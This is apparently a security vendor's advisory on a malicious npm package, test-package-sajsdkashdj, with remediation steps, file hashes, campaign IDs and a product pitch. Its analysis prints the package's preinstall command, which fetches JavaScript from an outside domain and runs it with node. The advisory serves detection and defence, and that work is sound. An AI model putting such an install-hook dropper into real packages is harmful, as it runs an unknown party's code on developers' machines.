Which versions of test-package-sajsdkashdj are malicious?

The following npm versions of test-package-sajsdkashdj are flagged malicious: 2.1.6, 2.1.7. Treat any of these as compromised.

How do I remediate test-package-sajsdkashdj if I installed it?

Remove test-package-sajsdkashdj from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed test-package-sajsdkashdj — how do I know if it already compromised me?

If test-package-sajsdkashdj was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is test-package-sajsdkashdj part of a known attack campaign?

Yes — test-package-sajsdkashdj is associated with the IN-MAL-2026-007138, IN-MAL-2026-007137 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find test-package-sajsdkashdj across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for test-package-sajsdkashdj (2 malicious versions).

Malicious package

test-package-sajsdkashdjnpm

Advisory published Jun 22, 2026Updated Jun 22, 2026

test-package-sajsdkashdj is a confirmed malicious npm package (MAL-2026-6266) that executes malicious code on install (malicious versions 2.1.6, 2.1.7). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in test-package-sajsdkashdj (npm)

MAL-2026-6266

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall test-package-sajsdkashdj

What this malware does

package.json declares a preinstall lifecycle script: "curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js". On every npm install, the package downloads JavaScript from poc.amanrawat.com and immediately executes it with node under the installer's privileges. The fetched content is unpinned, unhashed, served from a third-party non-publisher domain, and mutable — whoever controls poc.amanrawat.com can ship arbitrary code to every installer at any time. The package itself contains no functionality beyond this dropper. The package name (test-package-sajsdkashdj) and the fetch target (a path named hehe.js on a personal-looking domain) further indicate this is not a legitimate distribution mechanism.

Malicious versions

2 flagged

2.1.62.1.7

Indicators of compromise (SHA-256)

542596accdcd18f95701775537c8d2a26a97a25cc9498a9da490271b05b1d702

62645375d713992c0b37f646ed3cf898e0ea2b56777ca1b531b3d6ee61d93b87

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for test-package-sajsdkashdj (2 malicious versions).
If you installed it — respond
Remove test-package-sajsdkashdj from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If test-package-sajsdkashdj was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. test-package-sajsdkashdj on npm has been identified as a malicious package (versions 2.1.6, 2.1.7 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007138IN-MAL-2026-007137

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks test-package-sajsdkashdj-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database